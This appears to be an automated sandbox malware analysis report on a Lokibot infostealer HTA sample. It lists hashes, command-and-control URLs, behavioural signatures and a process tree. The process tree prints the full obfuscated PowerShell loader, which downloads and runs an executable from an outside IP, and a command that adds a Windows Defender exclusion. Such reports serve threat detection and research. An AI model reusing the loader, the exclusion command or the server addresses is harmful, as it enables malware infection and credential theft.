Analysis
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max time kernel
150s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-11-2024 01:33
Static task
static1
Behavioral task
behavioral1
Sample
dbcbb51e8c114fa8a7b9a1da2bbba100994eea4ed407bc338dedec5f811ade21.hta
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
dbcbb51e8c114fa8a7b9a1da2bbba100994eea4ed407bc338dedec5f811ade21.hta
Resource
win10v2004-20241007-en
General
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Target
dbcbb51e8c114fa8a7b9a1da2bbba100994eea4ed407bc338dedec5f811ade21.hta
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Size
178KB
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MD5
a54bdd270a424ec79b735ef6b513c2e4
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SHA1
465738a3e31b16ad80c44f3dc7bdd762e402cb51
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SHA256
dbcbb51e8c114fa8a7b9a1da2bbba100994eea4ed407bc338dedec5f811ade21
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SHA512
598f303f9f570851f3e538dcd5d9e23717e177b3e652320a7d58dc4800a0f81d9445b719e51b0875b640460c1b4d6be7a592e738b1004c2c0490bffac8ba0c61
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SSDEEP
96:4vCl1722AAZtbZfjdDINnmScJXD65zbfKZ/UQ:4vCld22AAVjBIcyzbfyUQ
Malware Config
Extracted
lokibot
http://94.156.177.41/maxzi/five/fre.php
http://kbfvzoboss.bid/alien/fre.php
http://alphastand.trade/alien/fre.php
http://alphastand.win/alien/fre.php
http://alphastand.top/alien/fre.php
Signatures
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Lokibot family
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Blocklisted process makes network request 1 IoCs
Processes:
pOWERSHELl.exEflow pid process 15 1484 pOWERSHELl.exE -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
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Downloads MZ/PE file
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Evasion via Device Credential Deployment 2 IoCs
Processes:
pOWERSHELl.exEpowershell.exepid process 1484 pOWERSHELl.exE 4068 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.execaspol.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation caspol.exe -
Executes dropped EXE 2 IoCs
Processes:
caspol.execaspol.exepid process 2004 caspol.exe 3284 caspol.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
caspol.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook caspol.exe Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook caspol.exe Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook caspol.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
caspol.exedescription pid process target process PID 2004 set thread context of 3284 2004 caspol.exe caspol.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
mshta.exepOWERSHELl.exEpowershell.execsc.execvtres.execaspol.exepowershell.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language pOWERSHELl.exE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language csc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cvtres.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language caspol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
pOWERSHELl.exEpowershell.exepowershell.exepid process 1484 pOWERSHELl.exE 1484 pOWERSHELl.exE 4068 powershell.exe 4068 powershell.exe 4112 powershell.exe 4112 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
pOWERSHELl.exEpowershell.exepowershell.execaspol.exedescription pid process Token: SeDebugPrivilege 1484 pOWERSHELl.exE Token: SeDebugPrivilege 4068 powershell.exe Token: SeDebugPrivilege 4112 powershell.exe Token: SeDebugPrivilege 3284 caspol.exe -
Suspicious use of WriteProcessMemory 27 IoCs
Processes:
mshta.exepOWERSHELl.exEcsc.execaspol.exedescription pid process target process PID 3636 wrote to memory of 1484 3636 mshta.exe pOWERSHELl.exE PID 3636 wrote to memory of 1484 3636 mshta.exe pOWERSHELl.exE PID 3636 wrote to memory of 1484 3636 mshta.exe pOWERSHELl.exE PID 1484 wrote to memory of 4068 1484 pOWERSHELl.exE powershell.exe PID 1484 wrote to memory of 4068 1484 pOWERSHELl.exE powershell.exe PID 1484 wrote to memory of 4068 1484 pOWERSHELl.exE powershell.exe PID 1484 wrote to memory of 3688 1484 pOWERSHELl.exE csc.exe PID 1484 wrote to memory of 3688 1484 pOWERSHELl.exE csc.exe PID 1484 wrote to memory of 3688 1484 pOWERSHELl.exE csc.exe PID 3688 wrote to memory of 4956 3688 csc.exe cvtres.exe PID 3688 wrote to memory of 4956 3688 csc.exe cvtres.exe PID 3688 wrote to memory of 4956 3688 csc.exe cvtres.exe PID 1484 wrote to memory of 2004 1484 pOWERSHELl.exE caspol.exe PID 1484 wrote to memory of 2004 1484 pOWERSHELl.exE caspol.exe PID 1484 wrote to memory of 2004 1484 pOWERSHELl.exE caspol.exe PID 2004 wrote to memory of 4112 2004 caspol.exe powershell.exe PID 2004 wrote to memory of 4112 2004 caspol.exe powershell.exe PID 2004 wrote to memory of 4112 2004 caspol.exe powershell.exe PID 2004 wrote to memory of 3284 2004 caspol.exe caspol.exe PID 2004 wrote to memory of 3284 2004 caspol.exe caspol.exe PID 2004 wrote to memory of 3284 2004 caspol.exe caspol.exe PID 2004 wrote to memory of 3284 2004 caspol.exe caspol.exe PID 2004 wrote to memory of 3284 2004 caspol.exe caspol.exe PID 2004 wrote to memory of 3284 2004 caspol.exe caspol.exe PID 2004 wrote to memory of 3284 2004 caspol.exe caspol.exe PID 2004 wrote to memory of 3284 2004 caspol.exe caspol.exe PID 2004 wrote to memory of 3284 2004 caspol.exe caspol.exe -
outlook_office_path 1 IoCs
Processes:
caspol.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook caspol.exe -
outlook_win_path 1 IoCs
Processes:
caspol.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook caspol.exe
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\dbcbb51e8c114fa8a7b9a1da2bbba100994eea4ed407bc338dedec5f811ade21.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3636 -
C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE"C:\Windows\SysTEM32\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE" "PowERShell.EXE -EX BYpaSS -nOP -W 1 -c DevIcEcREDeNTiALDePLoYmENT ; iNvOkE-EXprEssion($(invOkE-exPreSSIoN('[sYsteM.tEXT.EncOdInG]'+[CHar]0X3A+[CHaR]0x3A+'Utf8.GEtsTriNG([sYSTEm.CONvErT]'+[ChAr]0x3a+[CHar]58+'fROMbasE64string('+[char]34+'JEFIQ2MxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbWJlUkRlRmlOaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTW9uLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3piR3Ysc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZEdvU2hpRWwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZZTGlNem4sSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYkcpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJNQmdOa1F0IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLWHhFWHhxZEVFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSENjMTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzY2LjYzLjE4Ny4yMzEvNjU3L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtTVGFSVC1zbGVFcCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXGNhc3BvbC5leGUi'+[ChAR]34+'))')))"2⤵
- Blocklisted process makes network request
- Evasion via Device Credential Deployment
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1484 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX BYpaSS -nOP -W 1 -c DevIcEcREDeNTiALDePLoYmENT3⤵
- Evasion via Device Credential Deployment
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4068
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0ate0uwz\0ate0uwz.cmdline"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3688 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB45C.tmp" "c:\Users\Admin\AppData\Local\Temp\0ate0uwz\CSCF2D9629E865641F1B2FBB16216B1CF7F.TMP"4⤵
- System Location Discovery: System Language Discovery
PID:4956
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C:\Users\Admin\AppData\Roaming\caspol.exe"C:\Users\Admin\AppData\Roaming\caspol.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2004 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4112
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C:\Users\Admin\AppData\Roaming\caspol.exe"C:\Users\Admin\AppData\Roaming\caspol.exe"4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:3284
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD53d086a433708053f9bf9523e1d87a4e8
SHA1b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28
SHA2566f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69
SHA512931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd
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Filesize
17KB
MD5cd06eee41826b0f3a01cf757334ff73b
SHA1f424baea50691f1b6a77193d9f8eca3a3c544fe9
SHA256328e71203e7b8ce6cd06838dde2e7fff7531a979c9d6860830f2fea4538991d8
SHA5120e154249d27a7533ea9b1075cc41954414d736564a0dfc9464cf05a6a5115a4d1e9ca3e1edf6a4ffe4e00981cf4159a0da38ac9c55f16ca24781f3faa4ae2134
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Filesize
3KB
MD538bc2dd21efd00b0ff88239cea34411d
SHA1f82d88fb6d28e18fa0e4ba1a2a0f4a4dc0077043
SHA25698d2e9291e49d1aad925741f708577f6e408d9015664fd490f9e825dc98fa147
SHA51231702e15847e04f50ce4d214fcded6f48f96d3d64a65a2ff48b9088571359d9cb01f1c9b22d2bd36ffa0cb52cb9ad63646df858539125935681762005b1933bb
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Filesize
1KB
MD530b8e5160987a4b05056b9d6bdd73ff6
SHA1716f9628a15e4f0210f1aa692543ca6000f05f32
SHA2564c3f6ffd5453826dcf6c999dfcdca8ee1c37db28d2c92b6a56e4caceac4e6bb4
SHA512e154a10a5844377bec9a96fdd95693f07ea0190f4b739e5b79d17ae100a05dcdb9f4e45c4cf4190c17767f4f66e3d76527d9b483fb05e51c91225fc9a3dad164
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2437139445-1151884604-3026847218-1000\0f5007522459c86e95ffcc62f32308f1_4304acb9-c3f6-452a-9860-eb4e85d38d4e
Filesize46B
MD5c07225d4e7d01d31042965f048728a0a
SHA169d70b340fd9f44c89adb9a2278df84faa9906b7
SHA2568c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA51223d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b
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C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2437139445-1151884604-3026847218-1000\0f5007522459c86e95ffcc62f32308f1_4304acb9-c3f6-452a-9860-eb4e85d38d4e
Filesize46B
MD5d898504a722bff1524134c6ab6a5eaa5
SHA1e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA51226a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61
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Filesize
506KB
MD5759dd13715bc424308f1d0032ac4b502
SHA103347c96c50c140192e8df70260d732bea301ebc
SHA256d4c86776bcf1dc4ffd2f51538f3e342216314b76cdba2c2864193350654a9aca
SHA5124197992f4b44ea45c91cb00c7308949560ae24d179e9a14ebc4efb27e1b20abae203b1c8756c211eb9aab9732a3fd04c824bd6bc92510c8de3caea3a8cfa8e55
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Filesize
477B
MD5f97fc8141f59078b4354b513d3b083ac
SHA1293904ab8d5f38a2f0764ee2e35e97e590d8c737
SHA256f6766cc467b91c9c99186a91d4cc32ebf6803b04c9e82ba8dedd54f9dc25b32e
SHA51287b65e67e76c334c79481d25513fb1696ab86b1d8bf6006b7436a5ba7e522e2101912315c16d92cb0bf0feb86aa9616d5ea1019054c489958ca364947abe879c
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Filesize
369B
MD5cd6144f6ae5d3372d32c7d4018d2f109
SHA126703f63565ebd0607ee750e34351b4cf82624e3
SHA256718357bc44a3f629b5e57ec2b5791742ac9da283614e94d324ce523c0dfcd98b
SHA512bb460882b3503075e99e16b00774b7ba73d5ae2f30e983f00fa2412b686e7ceced1778c2d3b33bc9e83ef1f7a0613aed2ff70a708add2e36de1d469602766836
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Filesize
652B
MD53f50c96b67da844c59752a172698ce0f
SHA10e19b2dda956b481a7ce2812865222fbb65b2f3c
SHA256d1dd4fbd8ff52265a488fb8e2239d7ac50db80372679faef60ea41c6a3c312c8
SHA512c7cfaa2baccb5b468c41b62803271205e08652b58bc05e74e12909973f3f24d1fc8a75879a9a935ae829624baa7c48c50bba7fcf1444e9b322209d8fbb7d7747